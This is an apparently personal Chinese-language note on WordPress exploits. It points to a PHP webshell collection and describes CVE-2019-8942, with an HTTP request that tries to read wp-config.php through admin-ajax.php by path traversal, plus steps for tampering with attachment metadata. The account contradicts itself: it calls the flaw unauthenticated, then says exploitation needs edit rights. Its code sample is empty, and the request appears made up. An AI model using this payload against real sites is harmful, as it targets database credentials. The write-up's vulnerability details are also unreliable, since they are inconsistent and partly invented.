WordPress POC
[toc]
WordPress 环境搭建可参考 【环境搭建】WordPress环境搭建
漏洞
PHP 木马收集
-
yingji/木马后门/README.md at 5be2943d2afb45188dc3ffde4b93422b3afd8331 · tide-emergency/yingji
云锁免费版如何开启PHP的RASP高级防护 的测试木马就是上述 dama。
CVE-2019-8942
漏洞说明
CVE-2019-8942 是一个存在于 WordPress 核心中的高危安全漏洞,属于路径遍历(Path Traversal) + 任意文件读取(Arbitrary File Read) 类型。该漏洞允许未经身份验证的攻击者读取 WordPress 站点服务器上的任意文件(如 wp-config.php),从而可能导致数据库凭证泄露、站点被接管等严重后果。
漏洞原理
在 WordPress 的 图像裁剪(Image Cropping)功能中,wp_crop_image() 函数处理用户提交的文件路径时,未对 $src_file 参数进行充分校验,导致攻击者可通过构造恶意请求,使系统读取任意本地文件。
关键代码位置(修复前):
文件:wp-admin/includes/image.php
函数:wp_crop_image()
1 | // 漏洞代码(简化示意) |
由于未限制 $src_file 必须为上传目录(如 wp-content/uploads/)下的文件,攻击者可传入 …/…/…/etc/passwd 或 …/wp-config.php 等路径。
POC
步骤简述:
利用 WordPress 的 admin-ajax.php 接口调用 wp_crop_image 动作;
通过 $_POST[‘file’] 传入任意文件路径;
服务器返回裁剪后的图片(实际是目标文件内容被当作图像解析,可能损坏,但仍可提取原始数据)。
-
HTTP 请求 POC(读取 wp-config.php):
1
2
3
4
5POST /wp-admin/admin-ajax.php
Host: target-wordpress-site.com
Content-Type: application/x-www-form-urlencoded
action=wp_crop_image&context=custom&id=attacker_controlled&_ajax_nonce=invalid_nonce&cropDetails[0][x1]=0&cropDetails[0][y1]=0&cropDetails[0][width]=100&cropDetails[0][height]=100&cropDetails[0][dst_width]=100&cropDetails[0][dst_height]=100&file=../wp-config.php🔎 注意:
id 参数通常需为有效附件 ID,但在某些配置下可绕过;
实际利用中常结合 附件上传(先上传一个图片,再篡改其路径指向敏感文件);
更可靠的利用方式是通过 伪造附件元数据,使 WordPress 认为 wp-config.php 是一个“图像”。
更实用的 POC(结合附件 ID):
首先上传一个图片(如 test.jpg),获得附件 ID(如 123);
修改该附件的 _wp_attached_file 元数据为 …/…/…/…/wp-config.php(需有编辑权限,或利用其他漏洞);
调用裁剪接口,触发读取。
但由于需要一定权限,纯 unauthenticated 利用较复杂。因此,部分公开 POC 依赖特定插件或配置。
📦 四、公开可用的 Exploit / POC 代码
GitHub 示例(仅供研究):
⚠️ 这些脚本通常需要目标存在特定条件(如可写附件元数据),并非 100% 通用。